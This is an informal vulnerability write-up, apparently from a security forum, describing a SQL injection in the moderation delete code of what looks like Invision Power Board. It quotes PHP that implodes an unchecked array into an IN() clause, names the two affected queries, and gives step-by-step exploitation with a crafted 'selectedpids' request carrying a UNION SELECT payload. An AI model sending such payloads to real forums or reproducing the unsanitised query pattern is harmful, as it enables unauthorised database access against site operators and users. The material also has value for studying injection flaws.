[Code]

if ( is_array( $id ) )
{
if ( count($id) > 0 )
{
$pid = " IN(".implode(",",$id).")";
}
else
{
return FALSE;
}
}
else
{
if ( intval($id) )
{
$pid = "=$id";
}
else
{
return FALSE;
}
}

[/CODE]

When $id = array .. the code don't check it if ( INTVAL )

[CODE]
if ( count($id) > 0 )
{
$pid = " IN(".implode(",",$id).")";
}
[/CODE]

Then We Can Do SQL Injection Here >>

[CODE]
$this->ipsclass->DB->simple_construct( array( 'select' => 'pid, topic_id', 'from' => 'posts', 'where' => 'pid'.$pid ) );
[/CODE]

And Here >>

[CODE]
$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'attachments', 'where' => "attach_pid".$pid ) );
[/CODE]

Cuz We Have 2 Querys With diffiernt Tabels Number We Can't Use UNION To Exploit :( Baaad :(

Exm. To Exploit

1- First Add 2 Post
2- Check It To Delete
3- Edit String Query By HTTPLiveHeader

[CODE]
act=mod&auth_key=2b71da21cbacba35ccf6fc04fe807d9a&st=0&selectedpids=-1) UNION SELECT 1,3/*&tact=delete
[/CODE]
